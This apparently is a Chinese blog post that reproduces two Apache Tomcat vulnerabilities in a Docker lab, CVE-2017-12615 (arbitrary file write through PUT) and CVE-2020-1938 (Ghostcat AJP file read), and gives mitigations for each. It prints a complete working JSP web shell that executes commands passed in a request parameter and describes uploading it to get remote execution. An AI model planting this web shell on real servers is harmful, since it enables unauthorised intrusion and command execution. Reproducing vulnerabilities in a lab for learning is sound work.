Tomcat PUT方法任意寫文件漏洞和Tomcat-Ajp漏洞(CVE-2017-12615/CVE-2020-1938)漏洞復現

Tomcat PUT方法任意寫文件漏洞(CVE-2017-12615)

Tomcat版本:8.5.19

PUT方法

  • 除常用的GET和POST方法外還包括和GET請求類似的HEAD請求,TRACE和OPTIONS請求,以及這裏的PUT請求方法;

  • PUT請求方法試圖使用包含在請求主體的內容,向服務器上傳指定的資源。如果能激活這個方法就可以用它來攻擊應用程序。

漏洞環境搭建

  1. 使用docker進入環境所在目錄並拉取鏡像到倉庫運行

在這裏插入圖片描述

  1. 進入bash環境
docker exec -it 8afe1f5de9a6 /bin/bash

進入容器的bash環境,查看

cat /usr/local/tomcat/conf/web.xml

漏洞成因

在這裏插入圖片描述

其中配置了readonly=false,導致我們可以往服務器寫文件

漏洞復現

進入tomcat的漏洞環境,進行抓包發送到reapeater模塊構造

在這裏插入圖片描述

進入tomcat的主目錄/usr/local/tomcat/webapps/ROOT中查看是否上傳成功

在這裏插入圖片描述

顯示沒毛病,上傳成功了,接下來就是研究上傳的腳本了,怎樣實現遠程命令執行,對java不是很熟,學習了一下稍微註釋了一些

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
//設置頁面編碼格式,導入java包
<%!
public static String excuteCmd(String c)
        {
        StringBuilder line = new StringBuilder();
        //StringBuilder一個類
        try
        {


        Process pro = Runtime.getRuntime().exec(c);
        //調用另一個的可執行程序或系統命令,cmd 是字符串類型 也可以是字符串類型的數組 內容就是 命令行
        BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
        //把字符流添加到緩衝流
        String temp = null;
        //值初始化爲null


        while ((temp = buf.readLine()) != null)
        
        {


        line.append(temp+"\\n");
        }
        buf.close();
        //append追加字符串,然後關閉資源
        }


        catch (Exception e)


        {
        line.append(e.getMessage());
        }


        return line.toString();


        }
        %>


<%


        if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
        //request.getParameter參數的取值,


        {
        out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
        }


        else
        {
        out.println(":-)");
        //輸出打印笑臉
        }
        %>

所以這裏給cmd賦值一個命令行的命令就應該能實現遠程執行
在這裏插入圖片描述

漏洞解決方法

由於存在去掉最後的 / 的特性,最好的解決方式是將 conf/web.xml 中對於 DefaultServlet 的 readonly 設置爲 true。

Tomcat-Ajp漏洞(CVE-2020-1938)漏洞復現

漏洞詳情

2月14日,Apache Tomcat 官方發佈安全更新版本,修復漏洞。2月20日,國家信息安全漏洞共享平臺(CNVD)發佈安全公告,該漏洞綜合評級爲高危,漏洞 CVE 編號 CVE-2020-1938。

漏洞危害

   攻擊者可以讀取 Tomcat下部署的所有webapp目錄下的任意文件。
    此外如果網站應用提供文件上傳的功能,攻擊者可以先向服務端上傳一個內容含有惡意JsP腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然後利用Ghostcat漏洞進行文件包含,從而達到代碼執行的危害。

【版本影響】

  • Apache Tomcat 9.x<9.0.31
  • Apache Tomcat 8.X <8.5.51
  • Apache Tomcat 7.x<7.0.100
  • Apache Tomcat 6.x

最近有個關於tomcat的漏洞文件包含的漏洞,就順便復現一下,以上資料也是網上查的;

漏洞復現

查看剛剛用於復現的tomcat版本號是否會受影響

在這裏插入圖片描述

版本號符合要求,進入容器

查看一下配置cat /usr/local/tomcat/conf/server.xml

在這裏插入圖片描述

8009以及AJP協議開放,說明存在其漏洞,從網上下載了poc進行漏洞復現,但是現在運行會報錯

在這裏插入圖片描述

我原本單純的以爲8009端口應該會開放着但是並沒有

在這裏插入圖片描述

所以這裏需要將之前的容器關掉,指定容器開放8009端口再進行復現

docker stop 鏡像id
docker run -d -p 8080:8080 -p 8009:8009 3053aee7bf96
docker ps查看正在運行的容器

進入容器的bash環境 docker exec it “id”/bin/bash

然後再檢查一下8009端口是否已經開啓

在這裏插入圖片描述
此時已經開啓8009端口,使用poc讀取web.xml文件,如圖

讀取成功

在這裏插入圖片描述

自行創建一個文件123.txt,檢查是否能讀取

在這裏插入圖片描述

在這裏插入圖片描述

同樣也能讀取

解決方案

  • 禁用AJP協議端口
  • 配置ajp配置中的secretRequired跟secret屬性來限制認證
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章